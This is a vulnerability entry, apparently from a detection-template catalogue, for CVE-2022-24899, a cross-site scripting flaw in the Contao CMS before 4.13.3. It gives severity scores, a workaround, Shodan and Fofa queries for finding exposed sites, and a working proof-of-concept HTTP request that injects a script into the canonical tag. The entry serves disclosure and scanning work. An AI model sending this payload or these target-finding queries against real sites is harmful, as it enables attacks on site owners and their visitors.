| Title | Contao <4.13.3 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | As a workaround, users may disable canonical tags in the root page settings. |
| CVSS Score | 6.1 |
| EPSS Score | 0.59505 |
| CVE ID | CVE-2022-24899 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Contao"http.title:"contao"http.html:"contao open source cms"cpe:"cpe:2.3:a:contao:contao" |
| Fofa Query | body="contao open source cms"title="contao" |
| Tags | cve cve2022 contao xss huntr vuln |
Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.
GET /contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/7.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24899.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-24899.pcap
N/AN/A